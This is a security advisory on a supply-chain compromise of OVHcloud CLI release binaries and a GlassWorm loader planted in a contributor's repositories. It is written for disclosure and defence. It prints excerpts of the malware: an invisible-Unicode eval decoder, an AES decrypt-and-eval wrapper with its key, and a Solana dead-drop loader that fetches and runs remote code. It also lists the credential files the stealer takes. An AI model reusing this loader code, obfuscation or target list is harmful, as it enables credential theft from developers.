critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-353

Affected Surface

  • `ovh/ovhcloud-cli` GitHub release assets (`Darwin_arm64`, `Darwin_x86_64`, `Linux_arm64`, `Linux_x86_64`, `Windows_x86_64`, and `checksums.txt`) across versions `v0.11.0`, `v0.12.0`, `v0.13.0`, `v0.14.0`, and `v0.15.0` downloaded on 19 October 2026 between `12:47 UTC` and `14:21 UTC`
  • Developer workstations and CI runners that ran `install.sh`, `ovhcloud upgrade`, or downloaded release archives directly from `github.com/ovh/ovhcloud-cli/releases/download/` during that 94-minute window
  • `HassenBF` personal repositories (`treasure-hunt-game`, `crwn-clothing`, `next-dashboard`, and `padel-bot`), which carried a GlassWorm Unicode variation-selector `preinstall.js` loader from 5 March 2026 until a rollback force-push on 21 October 2026

TL;DR

Between 12:47 UTC and 14:21 UTC on 19 October 2026, an attacker using the compromised GitHub account of an OVHcloud contributor (HassenBF) overwrote the precompiled macOS, Linux, and Windows release binaries and checksums.txt files on five already-published releases of the official OVHcloud CLI (ovh/ovhcloud-cli v0.11.0, v0.12.0, v0.13.0, v0.14.0, and v0.15.0). Neither the git source tree nor OVHcloud’s CI pipeline was touched. Because GitHub release immutability was not enabled on the repository, write access allowed the attacker to delete existing release archives over the GitHub Releases API and upload locally compiled Go binaries in their place. During the 94-minute exposure window, the swapped archives were downloaded roughly 250 times before a downstream user (alink-tothepast) whose CI pinned the SHA-256 of ovhcloud-cli_Linux_arm64.tar.gz opened issue #300.

On 24 October 2026, StepSecurity published a full replay of the swapped build and a detonation of the contributor account’s GlassWorm loader, which the attacker tried to wipe by force-pushing HassenBF’s personal repositories back to their clean commits on 21 October (20:26 UTC). Every invocation of the trojanized ovhcloud binary creates a temporary /tmp/envchecker-<digits> staging folder, harvests 18 categories of cloud, container, SSH, and AI coding assistant credentials (including VS Code, Cursor, Claude Code, OpenCode, Continue, Cody, and Hermes), and POSTs a Base64-encoded archive wrapped in a Solana-RPC-shaped JSON payload to hxxps://45.32.148[.]174/upload.

What to do now:

  1. If any workstation or CI runner downloaded or updated ovhcloud between 12:47 UTC and 14:21 UTC on 19 October 2026, inspect /tmp/envchecker-*, check the binary’s MD5 hash or go version -m metadata without executing it, and rotate every secret stored on that machine from a clean host.
  2. Reinstall ovhcloud-cli v0.16.0 (published as an immutable release with a GitHub artifact attestation) and verify the asset with gh release verify-asset.

Affected packages and projects

EcosystemProject / artifactAdvisoryAffected versions / assetsSafe versions / pathsExposure window
GitHub Releases (ovh/ovhcloud-cli)ovhcloud (Darwin_arm64, Darwin_x86_64, Linux_arm64, Linux_x86_64) and ovhcloud.exe (Windows_x86_64) + checksums.txtGHSA-862f-55f5-vmvwv0.11.0, v0.12.0, v0.13.0, v0.14.0, v0.15.0 (only the 5 mainstream OS/arch archives and checksums.txt per release; i386, Windows_arm64, and wasm assets were untouched)<= v0.10.0, >= v0.16.0; Homebrew cask (ovh/tap/ovhcloud-cli), go install, source builds, and ovhcom/ovhcloud-cli Docker images were not affected19 Oct 2026, 12:47 UTC to 14:21 UTC (94 minutes, ~250 downloads)
GitHub Repositories (HassenBF/*)treasure-hunt-game, crwn-clothing, next-dashboard, padel-botGlassWorm / ForceMemo loaderAmended tip commits 8ac376cf, 624c056a, 227207ce, d261665c adding preinstall.js ("preinstall": "node preinstall.js") or inlining the decoder into src/index.jsRolled back via force-push on 21 Oct 2026 (20:26 UTC), though commit objects remain reachable by SHA5 Mar 2026 (02:41 UTC) to 21 Oct 2026 (20:26 UTC)

Technical analysis

1. Why mutable GitHub releases and install.sh allowed a silent binary swap

In ovh/ovhcloud-cli, .github/workflows/release.yml only triggers on push: tags: v*. When a legitimate release is cut, GoReleaser compiles static binaries using .goreleaser.yaml:

# .goreleaser.yaml in ovh/ovhcloud-cli
builds:
  - id: ovh-cli
    binary: ovhcloud
    env:
      - CGO_ENABLED=0
    flags:
    - -trimpath
    ldflags:
      - -s -w -extldflags -static -X github.com/ovh/ovhcloud-cli/internal/version.Version={{.Tag}}
    goos:
      - linux
      - windows
      - darwin
    main: ./cmd/ovhcloud

Notice two details in the legitimate build configuration:

  1. -trimpath strips local filesystem paths and vcs.* commit metadata from the compiled Go binary.
  2. -X github.com/ovh/ovhcloud-cli/internal/version.Version={{.Tag}} overrides the default value in internal/version/version.go:
    package version
    
    var (
        // Version is the version of the OVHcloud CLI.
        Version = "undefined"
    )

On 19 October 2026, no tag was pushed and no GitHub Actions workflow ran. Instead, the attacker used a token for HassenBF (an account that held write access to ovh/ovhcloud-cli) to delete and re-upload six assets on each of the five existing releases (v0.15.0 down to v0.11.0), replacing checksums.txt last on each release so the published SHA-256 list matched the trojanized archives.

When alink-tothepast’s CI job failed on its pinned SHA-256 for v0.15.0’s ovhcloud-cli_Linux_arm64.tar.gz, inspecting the swapped binary with go version -m exposed how it was built:

$ go version -m ./ovhcloud
ovhcloud: go1.27.1
        path    github.com/ovh/ovhcloud-cli/cmd/ovhcloud
        mod     github.com/ovh/ovhcloud-cli     v0.15.1-0.20261013083505-5ead8ef9b43d+dirty
        build   -buildmode=exe
        build   -compiler=gc
        build   -ldflags="-s -w"
        build   CGO_ENABLED=0
        build   GOARCH=amd64
        build   GOOS=linux
        build   GOAMD64=v1
        build   vcs=git
        build   vcs.revision=5ead8ef9b43d354dfb5caadff803b11afc8c5c58
        build   vcs.time=2026-10-13T08:35:05Z
        build   vcs.modified=true

Instead of building from the v0.15.0 tag (760fd72d, released 16 September 2026), the attacker ran go build -ldflags="-s -w" inside a dirty git checkout of commit 5ead8ef9b43d354dfb5caadff803b11afc8c5c58 (merged to main on 13 October 2026) after injecting an envchecker stealer module. Because the attacker omitted -trimpath and -X .../internal/version.Version, the binary kept vcs.modified=true (+dirty), and internal/version.Version remained "undefined". As StepSecurity demonstrated, running ovhcloud version on the swapped binary printed undefined alongside commit 5ead8ef9b43d354dfb5caadff803b11afc8c5c58, and ovhcloud upgrade refused to run with "upgrade is not available in development builds".

StepSecurity’s replay also clarified two exposure nuances in install.sh and Homebrew:

  • install.sh never verified checksums, and always 404’d on Linux_arm64: install.sh sets ARCH=$(uname -m) and fetches https://github.com/ovh/ovhcloud-cli/releases/download/${TAG}/ovhcloud-cli_${OS}_${ARCH}.tar.gz without downloading checksums.txt. On 64-bit ARM Linux, uname -m outputs aarch64, whereas GoReleaser names the archive ovhcloud-cli_Linux_arm64.tar.gz. As a result, install.sh on Linux_arm64 always failed with HTTP 404; Linux_arm64 systems were only reachable through manual tarball downloads, CI scripts referencing Linux_arm64.tar.gz, or ovhcloud upgrade (which uses runtime.GOARCH).
  • Homebrew cask installs were protected by pinned SHA-256 hashes: Although ovh/homebrew-tap points at the same GitHub Release URLs, Casks/ovhcloud-cli.rb pinned the original per-architecture SHA-256 digests (5c2beb56... for Linux_arm64, 1109d157... for Linux_x86_64, 26b78ca0... for Darwin_arm64, and 5aadbdc9... for Darwin_x86_64). Any brew install --cask ovh/tap/ovhcloud-cli during the 94-minute window failed the SHA-256 check and aborted.

2. What the injected envchecker Go module steals and how it exfiltrates

According to OVHcloud’s GHSA-862f-55f5-vmvw postmortem (with malware analysis credited to Ivan Kwiatkowski of VirLabs), every execution of the trojanized ovhcloud binary creates a new directory under /tmp matching envchecker-[0-9]{9,10} and copies local credential stores and command outputs into it before archiving the folder. The stealer never deletes /tmp/envchecker-*.

The targeted paths span cloud CLIs, infrastructure configs, and local SQLite/JSON databases for seven AI coding assistants:

# AI coding assistants and agent stores
~/.config/Code/User/globalStorage/state.vscdb
~/.config/Cursor/User/globalStorage/state.vscdb
~/.config/Code/User/globalStorage/continue.continue/index/index.sqlite
~/.config/Cursor/User/globalStorage/continue.continue/index/index.sqlite
~/.config/Code/User/globalStorage/sourcegraph.cody-ai/chat/chat-history.db
~/.config/Cursor/User/globalStorage/sourcegraph.cody-ai/chat/chat-history.db
~/.local/share/opencode/opencode.db
~/.config/opencode/opencode.db
~/.hermes/sessions
~/.hermes/.hermes_history
~/.claude

# Cloud, container, IaC, and developer credentials
~/.ovh.conf
~/.aws/credentials, ~/.aws/config, ~/.aws/cli/cache
~/.config/gcloud/credentials.db, ~/.config/gcloud/access_tokens.db, ~/.config/gcloud/configurations/config_default
~/.azure/azureProfile.json, ~/.azure/clouds.config, ~/.azure/config, ~/.azure/msal_token_cache.json
~/.docker/config.json, ~/.dockercfg
~/.kube/config
~/.config/doctl/config.yaml
~/.terraform.d/credentials.tfrc.json
~/.ssh, ~/.netrc, ~/.gitconfig, ~/.npmrc

To resolve its active C2/exfiltration configuration, the binary queries one of five public Solana RPC endpoints (solana.drpc[.]org, solana-rpc.publicnode[.]com, solana.api.pocket[.]network, api.mainnet-beta.solana[.]com, or solana.api.onfinality[.]io/public) for wallet BHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALF, then uploads the compressed archive over HTTPS to hxxps://45.32.148[.]174/upload formatted as a Solana JSON-RPC request with the Base64-encoded archive in params.

3. The contributor’s GlassWorm infection and the recovered preinstall.js dead-drop loader

OVHcloud traced the HassenBF account compromise to 20 October 2025, when the developer installed the malicious extension color-picker-universal 2.8.91 on a personal MacBook. That extension registered a persistent macOS LaunchAgent (plist) running a Node.js service that communicated with 162.33.177[.]177 and used the GlassWorm Solana dead-drop wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC.

On 5 and 6 March 2026, the attacker used the stolen GitHub credentials to amend and force-push four of HassenBF’s personal repositories (treasure-hunt-game -> 8ac376cf, crwn-clothing -> 624c056a, next-dashboard -> 227207ce, and padel-bot -> d261665c), preserving the original commit messages and author timestamps while injecting a preinstall.js hook. On 21 October 2026 at 20:26 UTC, two days after the OVHcloud CLI swap was disclosed, the four repositories were force-pushed again to restore their pre-compromise commits.

However, the orphaned commit 227207ced97484610bcf66b26017fa03f9bcb5b2 in HassenBF/next-dashboard (blob 9862a0a29fa1dacdba794e2558d0ddfacb3dc2e1, 36,673 bytes, SHA-256 43df42fd79f6f81e530892b54634598770d6e496796a863c596e616bcb3fec70) remains readable via GitHub’s Git database API. Only the first 181 bytes of preinstall.js are visible ASCII characters; the remaining 36,492 bytes are invisible Unicode variation selectors (U+FE00..U+FE0F encoding 0..15 and U+E0100..U+E01EF encoding 16..79):

// HassenBF/next-dashboard@227207ce: preinstall.js (visible prefix)
const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)).filter(n=>n!==null);
eval(Buffer.from(s(`<9,123 invisible variation-selector code points>`)).toString('utf8'));

Statically decoding the variation selectors yields a 9,123-byte Stage 1 wrapper that decrypts an 8,832-hex-character AES-256-CBC ciphertext using a hardcoded 32-byte key (zetqHyfDfod88zloncfnOaS9gGs90ONX) and 16-byte IV (a041fdaa0521fb5c3e26b217aaf24115):

// Decoded Stage 1 wrapper (excerpt)
[...(function*(){
  const d = require('crypto').createDecipheriv(
    'aes-256-cbc',
    'zetqHyfDfod88zloncfnOaS9gGs90ONX',
    Buffer.from('a041fdaa0521fb5c3e26b217aaf24115', 'hex')
  );
  let b = d.update('8486ea612240232e0735f8fe98e853bf...', 'hex', 'utf8');
  b += d.final('utf8');
  yield new Promise(r => setTimeout(r, 500));
  yield eval(b);
})()][0].then(() => {});

Decrypting that ciphertext produces the 4,407-byte Stage 2 Solana dead-drop loader (SHA-256 0f79989912572a24ba13baabb32b3fd084496271c51448d47b66fe1aedbf293c):

// Decrypted Stage 2 loader (formatted excerpt)
async function _getSignFAddress(publicKey, options = {}) {
  let limit = options.limit || 1e3,
    endpoints = [
      "https://api.mainnet-beta.solana[.]com",
      "https://solana-mainnet.gateway.tatum[.]io",
      "https://go.getblock[.]us/86aac42ad4484f3c813079afc201451c",
      "https://solana-rpc.publicnode[.]com",
      "https://api.blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc",
      "https://solana.drpc[.]org",
      "https://solana.leorpc[.]com/?api_key=FREE",
      "https://solana.api.onfinality[.]io/public",
      "https://solana.api.pocket[.]network/"
    ];
  for (let endpoint of endpoints) {
    try {
      let response = await fetch(endpoint, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          jsonrpc: "2.0", id: 1,
          method: "getSignaturesForAddress",
          params: [publicKey.toString(), { limit }]
        })
      });
      if (!response.ok) throw new Error("");
      let data = await response.json();
      return data.result;
    } catch (err) {
      await new Promise(resolve => setTimeout(resolve, 100));
      continue;
    }
  }
}

After sleeping 10 seconds, Stage 2 calls _isRussianSystem() (aborting if username, LANG, LANGUAGE, LC_ALL, or Intl locale matches ru_RU / russian and the timezone or UTC offset is +2 to +12), checks ~/init.json to throttle execution to once every 48 hours, and polls getSignaturesForAddress for BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC every 10 seconds until a transaction with a non-empty memo appears. It then parses JSON.parse(memo).link, Base64-decodes the URL (atob(_data.link)), sends a GET request with headers: { os: os.platform() }, extracts the response headers ivbase64 (atob("aXZiYXNlNjQ=")) and secretkey (atob("c2VjcmV0a2V5")), and runs eval(atob(uezupbxi)) inside a Node vm context that exposes require and process.

IOCs

TypeIndicatorContext
MD56f2f086239f3d88eb2750e871901927dMalicious ovhcloud binary (Darwin_arm64)
MD5347e65eb7f2d78d1c6872690272a6cc3Malicious ovhcloud binary (Darwin_x86_64)
MD501f57206d37c28cf711677f612052913Malicious ovhcloud binary (Linux_arm64)
MD5301bff0b51980b9e76c93633e7cfd3bdMalicious ovhcloud binary (Linux_x86_64)
MD56a3cf153338c416169cda2fe704c8848Malicious ovhcloud.exe binary (Windows_x86_64)
SHA-2563833daffcaaaab27e4e0e0833240ffcb1df8df648f4ec0bc4a75c176e28933cbReplaced v0.15.0 ovhcloud-cli_Linux_arm64.tar.gz archive (clean SHA-256: 5c2beb56e6d83a4b426565a1557791ef759316abcc4effb38dd627c90aeb80e0)
SHA-256e9c31dca232cdaa8058cb59eadf425c182a23afb6ddb057eb92eda13b850dff4, 3c10bd782cd0dc5f720a33570af4651814cb82917e54d27ffce3849a3c5cef2a, 3cbe1ac592beeca7ce0ad0ba945349a9ef33ef0f1324935c3a115f30b1d0c927, 25c68c5e9ae23883aebda59f4b6a7df78e1ce8aae5e4b4ba636419497d54bbec, f97284530343b3903ffd19bbe70ab6f62e36f04eb7e5f885934bd21d10899e8aVirusTotal sample SHA-256 hashes published in GHSA-862f-55f5-vmvw
SHA-25643df42fd79f6f81e530892b54634598770d6e496796a863c596e616bcb3fec70preinstall.js Stage 1 variation-selector loader (HassenBF/next-dashboard@227207ce)
SHA-2560f79989912572a24ba13baabb32b3fd084496271c51448d47b66fe1aedbf293cDecrypted Stage 2 Solana dead-drop loader (preinstall.js)
URL / IPv4hxxps://45.32.148[.]174/uploadExfiltration endpoint receiving Solana-RPC-shaped JSON POSTs from the ovhcloud stealer
IPv4162.33.177[.]177Persistent macOS LaunchAgent Node.js C2 installed by color-picker-universal 2.8.91
Solana walletBHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALFSolana wallet queried by the trojanized ovhcloud binary
Solana walletBjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SCGlassWorm Solana dead-drop wallet queried by color-picker-universal and preinstall.js
Host paths/tmp/envchecker-* ($TMPDIR/envchecker-*), ~/init.jsonStealer staging directory (never deleted) and GlassWorm 48-hour throttle marker

Detection and remediation

1. Check ovhcloud binaries and host artifacts without running the CLI

Do not run ovhcloud version on a binary you suspect may be trojanized, because the stealer runs on every invocation. Instead, inspect the binary with md5sum / md5, shasum -a 256, and go version -m, and check /tmp for envchecker-* directories:

# 1. Locate any installed ovhcloud binary and check its hashes and Go build info without executing it
BIN_PATH="$(command -v ovhcloud 2>/dev/null || echo "$HOME/.local/bin/ovhcloud")"
if [ -f "$BIN_PATH" ]; then
  md5sum "$BIN_PATH" 2>/dev/null || md5 "$BIN_PATH"
  shasum -a 256 "$BIN_PATH"
  go version -m "$BIN_PATH" | head -n 20
fi

# 2. Check for the malicious build commit or +dirty marker in embedded Go metadata
strings "$BIN_PATH" 2>/dev/null | grep -E '5ead8ef9b43d|envchecker|45\.32\.148\.174|BHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALF'

# 3. Check temporary directories for leftover envchecker-* staging folders or ~/init.json
ls -ld /tmp/envchecker-* "${TMPDIR:-/tmp}"/envchecker-* "$HOME/init.json" 2>/dev/null

# 4. Audit CI workflows and Dockerfiles for unpinned ovhcloud-cli release downloads
rg -n 'ovh/ovhcloud-cli/(releases/download|main/install\.sh)' .github Dockerfile* scripts ci 2>/dev/null

In go version -m output, any binary reporting v0.15.1-0.20261013083505-5ead8ef9b43d+dirty, vcs.revision=5ead8ef9b43d354dfb5caadff803b11afc8c5c58, or vcs.modified=true is the attacker’s build.

2. Rotate exposed credentials and upgrade to v0.16.0

  1. If a swapped binary was executed, rotate all credentials readable by that user from a clean machine:
    • OVHcloud API application keys, application secrets, and consumer keys (~/.ovh.conf)
    • Cloud and infrastructure credentials: AWS (~/.aws/credentials), GCP (~/.config/gcloud/), Azure (~/.azure/), DigitalOcean (~/.config/doctl/config.yaml), Terraform (~/.terraform.d/credentials.tfrc.json), Kubernetes (~/.kube/config), and Docker (~/.docker/config.json)
    • Developer and source-control credentials: SSH private keys (~/.ssh/), .npmrc, .netrc, and Git credentials
    • AI coding assistant tokens and sessions stored in VS Code / Cursor state.vscdb, Claude Code (~/.claude), OpenCode (opencode.db), Continue, Sourcegraph Cody, and Hermes
  2. Delete the compromised binary and /tmp/envchecker-* directories, then install v0.16.0 and verify its attestation:
    rm -f "$BIN_PATH"
    rm -rf /tmp/envchecker-* "${TMPDIR:-/tmp}"/envchecker-*
    
    # Download v0.16.0 and verify the GitHub release asset attestation
    gh release download v0.16.0 --repo ovh/ovhcloud-cli --pattern 'ovhcloud-cli_Linux_x86_64.tar.gz'
    gh release verify-asset v0.16.0 ovhcloud-cli_Linux_x86_64.tar.gz --repo ovh/ovhcloud-cli

Timeline

  • 2025-10-20: An OVHcloud contributor installs the malicious extension color-picker-universal 2.8.91 on a personal MacBook, registering a persistent Node.js LaunchAgent communicating with 162.33.177[.]177 and GlassWorm wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC.
  • 2026-03-05 to 2026-03-06: Four personal repositories under HassenBF (treasure-hunt-game, crwn-clothing, next-dashboard, and padel-bot) are force-pushed with the Unicode variation-selector preinstall.js loader.
  • 2026-10-13 (08:35 UTC): Commit 5ead8ef9b43d is merged to main on ovh/ovhcloud-cli; the attacker later compiles the trojanized binaries from a modified checkout of this commit.
  • 2026-10-19 (12:47 to 13:12 UTC): Using the HassenBF account, the attacker replaces the five mainstream platform binaries and checksums.txt across v0.15.0, v0.14.0, v0.13.0, v0.12.0, and v0.11.0.
  • 2026-10-19 (13:50 UTC): GitHub user alink-tothepast opens issue #300 after a pinned SHA-256 check on ovhcloud-cli_Linux_arm64.tar.gz fails in CI.
  • 2026-10-19 (14:21 UTC): OVHcloud deletes all replaced release assets from v0.11.0 through v0.15.0.
  • 2026-10-19 (17:16 UTC): OVHcloud publishes v0.16.0 via the ovh-cds service account with release immutability enabled and a signed release attestation.
  • 2026-10-20 (12:49 UTC): OVHcloud publishes GHSA-862f-55f5-vmvw with binary MD5 hashes, the envchecker target list, and Solana / IPv4 IOCs; OpenSourceMalware publishes its GitHub Activity API timeline.
  • 2026-10-21 (20:26 UTC): The four HassenBF personal repositories are force-pushed again to roll back the March 2026 preinstall.js commits.
  • 2026-10-22 to 2026-10-24: Safeguard and StepSecurity publish technical analyses, with StepSecurity recovering preinstall.js from orphaned commit 227207ce and replaying the full ovhcloud v0.15.0 and GlassWorm chains.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References